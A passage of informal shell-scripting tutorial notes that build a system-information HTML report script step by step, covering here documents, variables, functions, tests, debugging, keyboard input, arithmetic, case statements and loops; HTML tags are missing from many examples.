application will produce an `HTML document` that contains information about your system. + +I spent a lot of time thinking about how to teach shell programming, and the approach I have chosen is very different from most others that I have seen. Most favor a systematic treatment of shell features, and often presume experience with other programming languages. Although I do not assume that you already know how to program, I realize that many people today know how to write HTML, so our program will produce a web page. + +As we construct our script, we will discover step by step the tools needed to solve the problem at hand. + +## Writing an HTML File with a Script +a well formed HTML file contains the following content: +``` + + + + The title of your page + + + + + Your page content goes here. + + +``` + +Now, write a script to produce the above content: + +```shell +#!/bin/bash + +# sysinfo_page - A script to produce an html file + +echo "" +echo "" +echo " " +echo " The title of your page" +echo " " +echo "" +echo "" +echo "" +echo " Your page content goes here." +echo "" +echo "" +``` +This script can be used as follows: +[me@linuxbox me]$ sysinfo_page > sysinfo_page.html + +lever programmers write programs, they try to save themselves typing. + +The first improvement +replace the repeated use of the echo with a single instance by using quotation more efficiently: + +```py +#!/bin/bash +# sysinfo_page - A script to produce an HTML file + +echo " + + + The title of your page + + + + + Your page content goes here. + + " +``` + +Using quotation, it is possible to embed carriage returns in our text and have the echo command's argument span multiple lines. + +While this is certainly an improvement, it does have a limitation. Since many types of markup used in html incorporate quotation marks themselves, it makes using a quoted string awkward. A quoted string can be used but each embedded quotation mark will need to be escaped with a backslash character. + +to avoid the additional typing, the shell provides `here script`. + +``` +#!/bin/bash +# sysinfo_page - A script to produce an HTML file + +cat << _EOF_ + + + + + The title of your page + + + + + Your page content goes here. + + + +_EOF_ +``` + +A `here script` (here document) is an additional form of I/O redirection. +- It provides a way to include content that will be given to the standard input of a command. +- In the case of the script above, the standard input of the cat command was given a stream of text from our script. +- A `here script` is constructed like: + +``` +command << token +content to be used as command's standard input +token +``` + +`token` can be any string of characters. +- "_EOF_" ("End Of File") or use anything, as long as it does not conflict with a bash reserved word. +- The token that ends must exactly match the one that starts, or else the remainder of your script will be interpreted as more standard input to the command. + +one additional trick +to indent the content portion of the `here script` to improve the readability of your script. +- Changing the the `<<` to `<<-` causes bash to `ignore the leading tabs` (but not spaces) in the here script. +- The output from the cat command will not contain any of the leading tab characters. + +``` +#!/bin/bash +# sysinfo_page - A script to produce an HTML file + +cat <<- _EOF_ + + + + The title of your page + + + + + Your page content goes here. + + +_EOF_ +``` + + + +O.k. edit our page to: +``` +#!/bin/bash +# sysinfo_page - A script to produce an HTML file + +cat <<- _EOF_ + + + + My System Information + + + + +

    My System Information

    + + +_EOF_ +``` + +## Variables +make some changes because we want to be lazy. +- the phrase "My System Information" is repeated. improve it: +- added a line to the beginning of the script and replaced the two occurrences of the phrase "My System Information" with `$title`. + +``` +#!/bin/bash +# sysinfo_page - A script to produce an HTML file + +title="My System Information" + +cat <<- _EOF_ + + + + $title + + + + +

    $title

    + + +_EOF_ +``` + +Variables +Variables: areas of memory that can be used to store information and are referred to by a name. +- In the case of our script, variable "title" placed the phrase "My System Information" into memory. Inside the `here script` that contains our HTML, we use "$title" to tell the shell to perform `parameter expansion` and replace the name of the variable with the variable's contents. +- Whenever the shell sees a word that begins with a `$`, it find out what was assigned to the variable and substitutes it. + +to Create a Variable +- `variable=assign the information you wish to store` + - followed immediately by an equal sign ("="). + - No spaces are allowed. + +to choose the names for variables. few rules. +- Names must start with a letter. +- A name must not contain embedded spaces. Use underscores instead. +- cannot use punctuation marks. + +How Does This Increase Our Laziness? +- First, it reduced the amount of typing. +- Second and more importantly, it made our script easier to maintain. + +programs are rarely ever finished. They are modified and improved by their creators and others. After all, that's what open source development is all about. +- wanted to change the phrase "My System Information" to "Linuxbox System Information." you would have had to change this in two locations. +- In the new version with the title variable, you only have to change it in one place. +- as scripts get larger and more complicated, it becomes very important. + +## Environment Variables +When you start your shell session, some variables are already set by the startup file we looked at earlier. +- To see all the variables that are in your environment, use the `printenv` command. +- variable `$HOSTNAME`: contains the host name for your system. +- add this variable to script: + +``` +#!/bin/bash +# sysinfo_page - A script to produce an HTML file + +title="System Information for" + +cat <<- _EOF_ + + + + $title $HOSTNAME + + + + +

    $title $HOSTNAME

    + + +_EOF_ + +# Now our script will always include the name of the machine on which we are running. +# by convention, environment variables names are uppercase. +``` + +## Command Substitution and Constants + +### substitute the results from a command. `$( )` +our script, it could create an HTML page that contained a few simple lines of text, including the host name of the machine which we obtained from the environment variable `HOSTNAME`. Now, we will add a time stamp to the page to indicate when it was last updated, along with the user that did it. + +``` +#!/bin/bash +# sysinfo_page - A script to produce an HTML file + +title="System Information for" + +cat <<- _EOF_ + + + + $title $HOSTNAME + + + + +

    $title $HOSTNAME

    +

    Updated on $(date +"%x %r %Z") by $USER

    + + +_EOF_ +``` + +employed another environment variable, `$USER`, to get the user name. + +In addition, we used this strange looking thing: $(date +"%x %r %Z") + +The characters `$( )` +- tell the shell, "substitute the results of the enclosed command." +- In our script, the shell insert the results of the command date +"%x %r %Z" which expresses the current date and time. + +an older, alternate syntax for `$()`, uses the backtick character " \` ". +- This older form is compatible with the original Bourne shell (sh). +- The bash shell fully supports scripts written for sh +- the following forms are equivalent: + - $(command) + - \`command` + +You can also assign the results of a command to a variable: +`right_now=$(date +"%x %r %Z")` + +You can nest the variables (place one inside another): +`right_now=$(date +"%x %r %Z")` +`time_stamp="Updated on $right_now by $USER"` + +### Constants + +`variable`: the content of a variable is subject to change. +- it is expected that during the execution of your script, a variable may have its content modified by something you do. + +`constants`: values that, once set, should never be changed. +- Bash also has these facilities but, to be honest, I never see it used. +- Instead, if a value is intended to be a constant, it is given an `uppercase name` to remind the programmer that it should be considered a constant even if it's not being enforced. + +`Environment variables` are usually considered `constants` since they are rarely changed. Like constants, environment variables are given uppercase names by convention. + + +use uppercase names for `constants` and lowercase names for `variables`. + +``` +#!/bin/bash +# sysinfo_page - A script to produce an HTML file + +title="System Information for $HOSTNAME" +RIGHT_NOW=$(date +"%x %r %Z") +TIME_STAMP="Updated on $RIGHT_NOW by $USER" + +cat <<- _EOF_ + + + + $title + + + + +

    $title

    +

    $TIME_STAMP

    + + +_EOF_ +``` + +## Shell Functions +As programs get longer and more complex, they become more difficult to design, code, and maintain. +- it is often useful to break a single, large task into a series of smaller tasks. +- to break our single monolithic script into a number of separate functions. + +As our script continues to grow, we will use `top down design` to help us plan and code our script. + +If we look at our script's top-level tasks, we find the following list: + +``` +Open page +Open head section +Write title $title +Close head section +Open body section +Write title

    $title

    +Write time stamp

    $TIME_STAMP

    task 7 +Close body section +Close page +``` + +All of these tasks are implemented, but we want to add more. Let's insert some additional tasks after task 7: + + Write time stamp + Write system release info + Write up-time + Write drive space + Write home space + Close body section + Close page + +--- + +1. if there were commands that performed these additional tasks. use command substitution to place them in our script like so: + +```py +#!/bin/bash +# sysinfo_page - A script to produce a system information HTML file + +##### Constants + +TITLE="System Information for $HOSTNAME" +RIGHT_NOW=$(date +"%x %r %Z") +TIME_STAMP="Updated on $RIGHT_NOW by $USER" + +##### Main + +cat <<- _EOF_ + + + $TITLE + + + +

    $TITLE

    +

    $TIME_STAMP

    + $(system_info) + $(show_uptime) + $(drive_space) + $(home_space) + + +_EOF_ +``` +--- + +2. While there are no commands that do exactly what we need, create them using `shell functions`. +- shell functions act as "little programs within programs" and allow us to follow top-down design principles. +- To add the shell functions to our script, we change it so: + +```py +#!/bin/bash +# sysinfo_page - A script to produce an system information HTML file + +##### Constants +TITLE="System Information for $HOSTNAME" +RIGHT_NOW=$(date +"%x %r %Z") +TIME_STAMP="Updated on $RIGHT_NOW by $USER" + +##### Functions +system_info() +{ +} + +show_uptime() +{ +} + +drive_space() +{ +} + +home_space() +{ +} + +##### Main + +cat <<- _EOF_ + + + $TITLE + + + +

    $TITLE

    +

    $TIME_STAMP

    + $(system_info) + $(show_uptime) + $(drive_space) + $(home_space) + + +_EOF_ +``` + +A couple of important points about functions: +- First, they must appear before you attempt to use them. +- Second, the function body (the portions of the function between the { and } characters) must contain at least one valid command. As written, the script will execute error, because the function bodies are empty. +- The simple way to fix this is to place a return statement in each function body. script will execute successfully again. + +### Keep Your Scripts Working +When you are developing a program, it is is often a good practice to add a small amount of code, run the script, add some more code, run the script, and so on. +mistake into your code will be easier to find and correct. + +As you add functions to your script, you can also use a technique called `stubbing` to help watch the logic of your script develop. +- Stubbing works like this: imagine that we are going to create a function called "system_info" but we haven't figured out all of the details of its code yet. +- Rather than hold up the development of the script until we are finished with system_info, we just add an `echo` command like this: +``` +system_info() +{ + # Temporary function stub + echo "function system_info" +} +``` + +This way, our script will still execute successfully, even though we do not yet have a finished system_info function. We will later replace the temporary stubbing code with the complete working version. + +The reason we use an `echo` command is so we get some feedback from the script to indicate that the functions are being executed. + +go ahead and write stubs for our new functions and keep the script working. + +```py +#!/bin/bash +# sysinfo_page - A script to produce an system information HTML file + +##### Constants +TITLE="System Information for $HOSTNAME" +RIGHT_NOW=$(date +"%x %r %Z") +TIME_STAMP="Updated on $RIGHT_NOW by $USER" + +##### Functions +system_info() +{ + # Temporary function stub + echo "function system_info" +} + +show_uptime() +{ + # Temporary function stub + echo "function show_uptime" +} + +drive_space() +{ + # Temporary function stub + echo "function drive_space" +} + +home_space() +{ + # Temporary function stub + echo "function home_space" +} + +##### Main + +cat <<- _EOF_ + + + $TITLE + + + +

    $TITLE

    +

    $TIME_STAMP

    + $(system_info) + $(show_uptime) + $(drive_space) + $(home_space) + + +_EOF_ +``` + +### Some Real Work + +#### show_uptime +- The `show_uptime` function: display the output of the `uptime` command. +- The `uptime` command: outputs several interesting facts about the system, including the length of time the system has been "up" (running) since its last re-boot, the number of users and recent system load. + + $ uptime + 9:15pm up 2 days, 2:32, 2 users, load average: 0.00, 0.00, 0.00 + +To get the output of the uptime command into our HTML page: +``` +show_uptime() +{ + echo "

    System uptime

    " + echo "
    "
    +    uptime
    +    echo "
    " +} +``` + +As you can see, this function outputs a stream of text containing a mixture of HTML tags and command output. When the command substitution takes place in the main body of the our program, the output from our function becomes part of the here script. + +#### drive_space +The `drive_space` function: use the `df` command to provide a summary of the space used by all of the mounted file systems. + + $ df + Filesystem 1k-blocks Used Available Use% Mounted on + /dev/hda2 509992 225772 279080 45% / + /dev/hda1 23324 1796 21288 8% /boot + /dev/hda3 15739176 1748176 13832360 12% /home + /dev/hda5 3123888 3039584 52820 99% /usr + +the drive_space function is very similar to the show_uptime function: +``` +drive_space() +{ + echo "

    Filesystem space

    " + echo "
    "
    +    df
    +    echo "
    " +} +``` + +#### home_space +The `home_space` function: display the amount of space each user is using in his/her home directory. It will display this as a list, sorted in descending order by the amount of space used. +``` +home_space() +{ + echo "

    Home directory space by user

    " + echo "
    "
    +    echo "Bytes Directory"
    +    du -s /home/* | sort -nr
    +    echo "
    " +} +``` +Note that in order for this function to successfully execute, the script must be run by the superuser, since the du command requires superuser privileges to examine the contents of the /home directory. + +#### system_info +not ready to finish the system_info function yet. +improve the stubbing code so it produces valid HTML: +``` +system_info() +{ + echo "

    System release info

    " + echo "

    Function not yet implemented

    " +} +``` +--- + +# Flow Control - Part 1 +how to add intelligence to our scripts. +So far, our project script has only consisted of a sequence of commands that starts at the first line and continues line by line until it reaches the end. +Most programs do much more than this. They make decisions and perform different actions depending on conditions. + +The shell provides several commands that we can use to `control the flow of execution` in our program. + +## `if commands; then commands [elif commands; then commands] fi` +if command: makes a decision based on the exit status of a command. + +```py +if commands; then +commands +[elif commands; then +commands...] +[else +commands] +fi +``` + +## Exit Status +Commands (including the scripts and shell functions we write) issue a value to the system when they terminate, called an `exit status`. +- This value, which is an integer in the range of 0 to 255, indicates the success or failure of the command’s execution. +- By convention, zero indicates success and any other value indicates failure. +- The shell provides a parameter to examine the exit status. + +```py +Some commands use different exit status values to provide diagnostics for errors +- many commands simply exit with a `value of one` when they fail. +- zero always indicates success. + +$ ls -d /usr/bin +/usr/bin +$ echo $? +0 +# the command executes successfully + +$ ls -d /bin/usr +ls: cannot access /bin/usr: No such file or directory +$ echo $? +2 +# indicating that the command encountered an error. +``` + +``` +The shell provides two extremely simple builtin commands that do nothing except terminate with either a zero or one exit status. The true command always executes successfully and the false command always executes unsuccessfully: + +[me@linuxbox~]$ true +[me@linuxbox~]$ echo $? +0 +[me@linuxbox~]$ false +[me@linuxbox~]$ echo $? +1 +``` + +```py +use these commands to see how the if statement works. +What the if statement really does is evaluate the success or failure of commands: + +The command echo "It's true." +- executed when the command following if executes successfully +- is not executed when the command following if does not execute successfully. + + +[me@linuxbox ~]$ if true; then echo "It's true."; fi +It's true. +[me@linuxbox ~]$ if false; then echo "It's true."; fi +[me@linuxbox ~]$ +``` + +## `test` +used most often with the `if` command to perform true/false decisions. + +The command is unusual in that it has two different syntactic forms: +- First form: `test` expression +- Second form: `[ expression ]` + +The `test` command: +- If the given expression is true, test exits with a status of zero; +- otherwise it exits with a status of 1. + +a partial list of the conditions that test can evaluate. +``` +J:etc luo$ help test +test: test [expr] + Exits with a status of 0 (true) or 1 (false) depending on + the evaluation of EXPR. Expressions may be unary or binary. Unary + expressions are often used to examine the status of a file. There + are string operators as well, and numeric comparison operators. + + File operators: + + -a FILE True if file exists. + -b FILE True if file is block special. + -c FILE True if file is character special. + -d FILE True if file is a directory. + -e FILE True if file exists. + -f FILE True if file exists and is a regular file. + -g FILE True if file is set-group-id. + -h FILE True if file is a symbolic link. + -L FILE True if file is a symbolic link. + -k FILE True if file has its `sticky' bit set. + -p FILE True if file is a named pipe. + -r FILE True if file is readable by you. + -s FILE True if file exists and is not empty. + -S FILE True if file is a socket. + -t FD True if FD is opened on a terminal. + -u FILE True if the file is set-user-id. + -w FILE True if the file is writable by you. + -x FILE True if the file is executable by you. + -O FILE True if the file is effectively owned by you. + -G FILE True if the file is effectively owned by your group. + -N FILE True if the file has been modified since it was last read. + + FILE1 -nt FILE2 True if file1 is newer than file2 (according to + modification date). + + FILE1 -ot FILE2 True if file1 is older than file2. + + FILE1 -ef FILE2 True if file1 is a hard link to file2. + + String operators: + + -z STRING True if string is empty. + + -n STRING + STRING True if string is not empty. + + STRING1 = STRING2 + True if the strings are equal. + STRING1 != STRING2 + True if the strings are not equal. + STRING1 < STRING2 + True if STRING1 sorts before STRING2 lexicographically. + STRING1 > STRING2 + True if STRING1 sorts after STRING2 lexicographically. + + Other operators: + + -o OPTION True if the shell option OPTION is enabled. + ! EXPR True if expr is false. + EXPR1 -a EXPR2 True if both expr1 AND expr2 are true. + EXPR1 -o EXPR2 True if either expr1 OR expr2 is true. + + arg1 OP arg2 Arithmetic tests. OP is one of -eq, -ne, + -lt, -le, -gt, or -ge. + + Arithmetic binary operators return true if ARG1 is equal, not-equal, + less-than, less-than-or-equal, greater-than, or greater-than-or-equal + than ARG2. +``` + + +example: + +``` +if [ -f .bash_profile ]; then + echo "You have a .bash_profile. Things are fine." +else + echo "Yikes! You have no .bash_profile!" +fi +``` + +In this example, use the expression " -f .bash_profile ". +- This expression asks, "Is .bash_profile a file?" +- If the expression is true, then `test` exits with a zero (indicating true) and the if command executes the command(s) following the word then. +- If the expression is false, then `test` exits with a status of one and the if command executes the command(s) following the word else. + +the if command followed by the `test` command, followed by a semicolon, and finally the word then. +- use the `[ expression ]` form of the `test` command + - Notice that `the spaces` required between the "[", expression expression, the trailing "]" are required. +- The `semicolon` is a command separator. Using it allows you to put more than one command on a line. For example: + - `$ clear; ls` : will clear the screen and execute the ls command. + + +On the second line, there is our old friend echo. The only thing of note on this line is the `indentation`. +- traditional to indent all blocks of conditional code; that is, any code that will only be executed if certain conditions are met. +- The shell does not require this; it is done to make the code easier to read. + +we could write the following and get the same results: +```py +# Alternate form + +if [ -f .bash_profile ] +then + echo "You have a .bash_profile. Things are fine." +else + echo "Yikes! You have no .bash_profile!" +fi + +# Another alternate form + +if [ -f .bash_profile ] +then echo "You have a .bash_profile. Things are fine." +else echo "Yikes! You have no .bash_profile!" +fi +``` + +## exit +In order to be good script writers, we must set the `exit status` when our scripts finish. +To do this, use the `exit` command: causes the script to terminate immediately and set the exit status to whatever value is given as an argument. +``` +For example: + +exit 0 +exits your script and sets the exit status to 0 (success), whereas + +exit 1 +exits your script and sets the exit status to 1 (failure). +``` + +## Testing for Root +When we last left our script, we required that it be run with superuser privileges. This is because the `home_space` function needs to examine the size of each user's home directory, and only the superuser is allowed to do that. + +But what happens if a regular user runs our script? It produces error messages. What if we could put something in the script to stop regular user run it? + + +The `id` command: tell us who the current user is. +When executed with the "-u" option, it prints the numeric user id of the current user. + + J:etc luo$ sudo id -u + Password: + 0 + J:etc luo$ id -u + 502 + +```py +# this code will detect if the user is the superuser +if [ $(id -u) = "0" ]; then + echo "superuser" +fi + +# to stop the script if the user is not the superuser +if [ $(id -u) != "0" ]; then + echo "You must be the superuser to run this script" >&2 + exit 1 +fi +``` + +if the output of the id -u command is not equal to "0", +- then the script prints a descriptive error message, exits, +- and sets the exit status to 1, indicating to the operating system that the script executed unsuccessfully. + +`>&2` at the end of the echo command. +- another form of I/O direction. You will often notice this in routines that display error messages. +- If this redirection were not done, the error message would go to standard output. +- With this redirection, the message is sent to standard error. +- Since we are executing our script and redirecting its standard output to a file, we want the error messages separated from the normal output. + +We could put this routine near the beginning of our script so it has a chance to detect a possible error before things get under way + +but in order to run this script as an ordinary user, we will use the same idea and modify the `home_space` function to test for proper privileges instead, like so: + +``` +function home_space +{ + # Only the superuser can get this information + + if [ "$(id -u)" = "0" ]; then + echo "

    Home directory space by user

    " + echo "
    "
    +        echo "Bytes Directory"
    +            du -s /home/* | sort -nr
    +        echo "
    " + fi + +} # end of home_space +``` + +This way, if an ordinary user runs the script, the troublesome code will be passed over, rather than executed and the problem will be solved. + + +# Stay Out of Trouble +Now that our scripts are getting a little more complicated, I want to point out some common mistakes that you might run into. To do this, create the following script called `trouble.bash`. +enter it exactly as written. + +```py +#!/bin/bash + +number=1 + +if [ $number = "1" ]; then + echo "Number equals 1" +else + echo "Number does not equal 1" +fi + +# run +$ nano +$ chmod 755 trouble.bash +$ trouble.bash +Number equals 1 +``` + +## Empty Variables +Edit the script to change line 3 from `number=1` to `number=` + +```py +#!/bin/bash + +number= + +if [ $number = "1" ]; then + echo "Number equals 1" +else + echo "Number does not equal 1" +fi + +# run the script again. +$ ./trouble.bash +"/trouble.bash: [: =: unary operator expected." # bash displayed an error message when we ran the script. +Number does not equal 1 +``` + +the error message: +`./trouble.bash: [: =: unary operator expected` + +error is occurring on line 5 not line 3. +- there is nothing wrong with line 3. number= is perfectly good syntax. set a variable's value to nothing. You can confirm the validity of this by trying it on the command line: + + [me@linuxbox me]$ number= + [me@linuxbox me]$ + no error message. + +wrong with line 5 +- In line 5, the shell expands the value of number where it sees $number. +- when number=1, the shell substituted 1 for $number like so: `if [ 1 = "1" ]; then` +- when number=, the shell saw this after the expansion: `if [ = "1" ]; then` + - which is an error. It also explains the rest of the error message we received. + - The "=" is a binary operator; that is, it expects two items to operate upon - one on each side. What the shell is trying to tell us is that there is only one item and there should be a unary operator (like "!") that only operates on a single item. + +To fix this problem, change line 5: `if [ "$number" = "1" ]; then` +- Now when the shell performs the expansion it will see: `if [ "" = "1" ]; then` +- which correctly expresses our intent. + +This brings up an important thing to remember when you are writing your scripts. Consider what happens if a variable is set to equal nothing. + +## Missing Quotes +Edit line 6 to remove the trailing quote from the end of the line: echo "Number equals 1 +``` +#!/bin/bash + +number= + +if [ $number = "1" ]; then + echo "Number equals 1 +else + echo "Number does not equal 1" +fi +``` + +run the script again. You should get this: + + [me@linuxbox me]$ ./trouble.bash + ./trouble.bash: line 8: unexpected EOF while looking for matching " + ./trouble.bash: line 10 syntax error: unexpected end of file + +Here we have another case of a mistake in one line causing a problem later in the script. What happens is the shell keeps looking for the closing quotation mark to tell it where the end of the string is, but runs into the end of the file before it finds it. + +These errors can be a real pain to find in a long script. This is one reason you should test your scripts frequently when you are writing them so there is less new code to test. I also find that text editors with syntax highlighting make these kinds of bugs easier to find. + +## Isolating Problems +Finding bugs in your programs can sometimes be very difficult and frustrating. + +couple of techniques useful: + +1. Isolate blocks of code by "commenting them out." + - This trick involves putting comment characters at the beginning of lines of code to stop the shell from reading them. + - Frequently, you will do this to a block of code to see if a particular problem goes away. By doing this, you can isolate which part of a program is causing (or not causing) a problem. + + #!/bin/bash + number=1 + if [ $number = "1" ]; then + echo "Number equals 1 + #else + # echo "Number does not equal 1" + fi + + - By commenting out the else clause and running the script, we could show that the problem was not in the else clause even though the error message suggested that it was. + +2. Use echo commands to verify your assumptions. + - As you gain experience tracking down bugs, you will discover that bugs are often not where you first expect to find them. A common problem will be that you will make a false assumption about the performance of your program. You will see a problem develop at a certain point in your program and assume that the problem is there. This is often incorrect, as we have seen. + - To combat this, you should place echo commands in your code while you are debugging, to produce messages that confirm the program is doing what is expected. There are two kinds of messages that you should insert. + - The first type: simply announces that you have reached a certain point in the program. We saw this in our earlier discussion on stubbing. It is useful to know that program flow is happening the way we expect. + - The second type: displays the value of a variable (or variables) used in a calculation or test. You will often find that a portion of your program will fail because something that you assumed was correct earlier in your program is, in fact, incorrect and is causing your program to fail later on. + +## Watching Your Script Run +It is possible to have bash show you what it is doing when you run your script. + +1. add `-x` to the first line of your script: + - `#!/bin/bash -x` + - Now, when you run your script, bash will display each line (with expansions performed) as it executes it. This technique is called `tracing`. + + $ ./trouble.bash + + number=1 + + '[' 1 = 1 ']' + + echo 'Number equals 1' + Number equals 1 + +2. use the `set` command within your script to turn tracing on and off. + - `set -x` to turn tracing on + - `set +x` to turn tracing off. + + #!/bin/bash + number=1 + + set -x + if [ $number = "1" ]; then + echo "Number equals 1" + else + echo "Number does not equal 1" + fi + set +x + + +# Keyboard Input and Arithmetic +Up to now, our scripts have not been interactive. did not require any input from the user. + +## read +To get input from the keyboard, use the `read` command. +- takes input from the keyboard and assigns it to a variable. + +```py +#!/bin/bash + +echo -n "Enter some text > " +read text +echo "You entered: $text" + +# the script in action: +$ read_demo.bash +Enter some text > this is some text +You entered: this is some text +``` + +`-n` given to the echo command causes it to keep the cursor on the same line; i.e., it does not output a linefeed at the end of the prompt. + +invoke the `read` command with "text" as its argument: wait for the user to type something followed by a carriage return (the Enter key) and then assign whatever was typed to the variable text. + +- If you don't give the read command the name of a variable to assign its input, it will use the environment variable REPLY. + +The read command: command line options. +- The `-t` option followed by a number of seconds provides an automatic timeout for the read command. the read command will give up after the specified seconds if no response has been received from the user. + - could be used in the case of a script that must continue (perhaps resorting to a default response) even if the user does not answer the prompts. + + #!/bin/bash + + echo -n "Hurry up and type something! > " + if read -t 3 response; then + echo "Great, you made it in time!" + else + echo "Sorry, you are too slow!" + fi + +- The `-s` option causes the user's typing not to be displayed. + - useful when you are asking the user to type in a password or other confidential information. + +## Arithmetic +The shell provides features for integer arithmetic. +- integer: whole numbers like 1, 2, 458, -2859. +- does not mean fractional numbers like 0.5, .333, or 3.1415. + - If you must deal with fractional numbers, there is a separate program called `bc` which provides an arbitrary precision calculator language. It can be used in shell scripts + +1. to use the command line as a primitive calculator: `$ echo $((2+2))` + - surround an arithmetic expression with `the double parentheses`, the shell will perform `arithmetic expansion`. + - whitespace is ignored: + + [me@linuxbox me]$ echo $((2+2)) + 4 + [me@linuxbox me]$ echo $(( 2+2 )) + 4 + [me@linuxbox me]$ echo $(( 2 + 2 )) + 4 + +2. The shell can perform a variety of common (and not so common) arithmetic operations. + + #!/bin/bash + first_num=0 + second_num=0 + + echo -n "Enter the first number --> " + read first_num + echo -n "Enter the second number -> " + read second_num + + echo "first number + second number = $((first_num + second_num))" + echo "first number - second number = $((first_num - second_num))" + echo "first number * second number = $((first_num * second_num))" + echo "first number / second number = $((first_num / second_num))" + echo "first number % second number = $((first_num % second_num))" + echo "first number raised to the" + echo "power of the second number = $((first_num ** second_num))" + +- the leading `$` is not needed to reference `variables inside the arithmetic expression` such as "first_num + second_num". +- Numbers that get too large overflow like the odometer in a car when you exceed the number of miles it was designed to count. It starts over but first it goes through all the negative numbers because of how integers are represented in memory. +- Division by zero (which is mathematically invalid) does cause an error. + +- `%` symbol represents remainder (also known as modulo), performs division but instead of returning a quotient like division, it returns the remainder. + - For example, when a remainder operation returns zero, it indicates that the first number is an exact multiple of the second. This can be very handy: + + #!/bin/bash + number=0 + + echo -n "Enter a number > " + read number + + echo "Number is $number" + if [ $((number % 2)) -eq 0 ]; then + echo "Number is even" + else + echo "Number is odd" + fi + +Or, in this program that formats an arbitrary number of seconds into hours and minutes: + + #!/bin/bash + seconds=0 + echo -n "Enter number of seconds > " + read seconds + + hours=$((seconds / 3600)) + seconds=$((seconds % 3600)) + minutes=$((seconds / 60)) + seconds=$((seconds % 60)) + + echo "$hours hour(s) $minutes minute(s) $seconds second(s)" + + +# Flow Control + +## `case word in patterns ) commands ;; esac` +- `if` command: alter program flow based on a command's exit status. +- In programming terms, this type of program flow is called `branching` because it is like traversing a tree. You come to a fork in the tree and the evaluation of a condition determines which branch you take. +- more complex kind of branching called `a case`. A case is multiple-choice branch. Unlike the simple branch, where you take one of two possible paths, a case supports several possible outcomes based on the evaluation of a value. + +1. construct this type of branch with multiple `if` statements. + + #!/bin/bash + echo -n "Enter a number between 1 and 3 inclusive > " + read character + + if [ "$character" = "1" ]; then + echo "You entered one." + elif [ "$character" = "2" ]; then + echo "You entered two." + elif [ "$character" = "3" ]; then + echo "You entered three." + else + echo "You did not enter a number between 1 and 3." + fi + + +2. built-in command `case` can be used to construct an equivalent program: + + #!/bin/bash + echo -n "Enter a number between 1 and 3 inclusive > " + read character + + case $character in + 1 ) echo "You entered one." + ;; + 2 ) echo "You entered two." + ;; + 3 ) echo "You entered three." + ;; + * ) echo "You did not enter a number between 1 and 3." + esac + +The `case` command has the following form: + + case word in + patterns ) commands ;; + esac + +- `case` selectively executes statements if `word` matches a `pattern`. You can have any number of patterns and statements. +- Patterns can be literal text or wildcards. +- You can have multiple patterns separated by the "|" character. + + #!/bin/bash + echo -n "Type a digit or a letter > " + read character + + case $character in + # Check for letters + [[:lower:]] | [[:upper:]] ) echo "You typed the letter $character" + ;; + + # Check for digits + [0-9] ) echo "You typed the digit $character" + ;; + + # Check for anything else + * ) echo "You did not type a letter or a digit" + esac + +pattern `*` : +- will match anything, so it is used to catch cases that did not match previous patterns. +- Inclusion of `*` at the end is wise, can be `used to detect invalid input`. + +## Loops +Looping is repeatedly executing a section of your program based on the exit status of a command. +- The shell provides three commands for looping: `while`, `until` and `for`. We are going to cover while and until in this lesson and for in a upcoming lesson. + +### `while [ true ]; do xx done` +causes a block of code to be executed over and over, `as long as the exit status of a specified command is true`. + +- example of a program that counts from zero to nine: + + #!/bin/bash + number=0 + while [ "$number" -lt 10 ]; do + echo "Number = $number" + number=$((number + 1)) + done + + - create a variable number, initialize its value to 0 + - start the while loop. specified a command to test the value of number, see if number has a value less than 10. + - Notice the word `do` and `done`. These enclose the block of code that will be repeated as long as the exit status remains zero, true. + +In most cases, the block of code that repeats must do something that will eventually change the exit status, otherwise you will have what is called an `endless loop`. + + - In the example, the repeating block of code outputs the value of number (the echo command on line 5) and increments number by one on line 6. + - Each time the block of code is completed, the test command's exit status is evaluated again. After the tenth iteration of the loop, number has been incremented ten times and the test command will terminate with a non-zero exit status. + - At that point, the program flow resumes with the statement following the word `done`. Since `done` is the last line of our example, the program ends. + +### `until [ false ]; do xx done` +works exactly the same way, except the block of code is repeated `as long as the specified command's exit status is false`. + + #!/bin/bash + number=0 + + until [ "$number" -ge 10 ]; do + echo "Number = $number" + number=$((number + 1)) + done + +## Building a Menu +One common way of presenting a user interface for a text based program is by using a `menu`. A `menu` is a list of choices from which the user can pick. + + #!/bin/bash + selection= + until [ "$selection" = "0" ]; do + echo " + PROGRAM MENU + 1 - Display free disk space + 2 - Display free memory + 0 - exit program + " + echo -n "Enter selection: " + read selection + + echo "" + case $selection in + 1 ) df ;; + 2 ) free ;; + 0 ) exit ;; + * ) echo "Please enter 1, 2, or 0" + esac + done + +- The purpose of the `until` loop in this program is to re-display the menu each time a selection has been completed. The loop will continue until selection is equal to "0," the "exit" choice. Notice how we defend against entries from the user that are not valid choices. + +To make this program better +- adding a function that asks the user to press the `Enter` key after each selection has been completed +- and clears the screen before the menu is displayed again. Here is the enhanced example: + + #!/bin/bash + + press_enter() + { + echo -en "\nPress Enter to continue" + read + clear + } + + selection= + until [ "$selection" = "0" ]; do + echo " + PROGRAM MENU + 1 - display free disk space + 2 - display free memory + + 0 - exit program + " + echo -n "Enter selection: " + read selection + echo "" + case $selection in + 1 ) df ; press_enter ;; + 2 ) free ; press_enter ;; + 0 ) exit ;; + * ) echo "Please enter 1, 2, or 0"; press_enter + esac + done + + +## When your computer hangs... +Hanging is when a program suddenly seems to stop and become unresponsive. +in most cases, the program is still running but its program logic is stuck in an endless loop. + +Imagine this situation: you have an external device attached to your computer, such as a USB disk drive but you forgot to turn it on. You try and use the device but the application hangs instead. When this happens, you could picture the following dialog going on between the application and the interface for the device: + + Application: Are you ready? + Interface: Device not ready. + + Application: Are you ready? + Interface: Device not ready. + + Application: Are you ready? + Interface: Device not ready. + + Application: Are you ready? + Interface: Device not ready. + +and so on, forever. + +- Well-written software tries to avoid this situation by instituting a `timeout`: the loop is counting `the number of attempts` or calculating `the amount of time it has waited` for something to happen. +- If the number of tries or the amount of time allowed is exceeded, the loop `exits` and the program generates an `error` and `exits`. + + +# Positional Parameters +When we last left our script, it looked something like this: + +```py +#!/bin/bash +# sysinfo_page - A script to produce a system information HTML file + +##### Constants +TITLE="System Information for $HOSTNAME" +RIGHT_NOW=$(date +"%x %r %Z") +TIME_STAMP="Updated on $RIGHT_NOW by $USER" + +##### Functions +system_info() +{ + echo "

    System release info

    " + echo "

    Function not yet implemented

    " +} # end of system_info + +show_uptime() +{ + echo "

    System uptime

    " + echo "
    "
    +    uptime
    +    echo "
    " +} # end of show_uptime + +drive_space() +{ + echo "

    Filesystem space

    " + echo "
    "
    +    df
    +    echo "
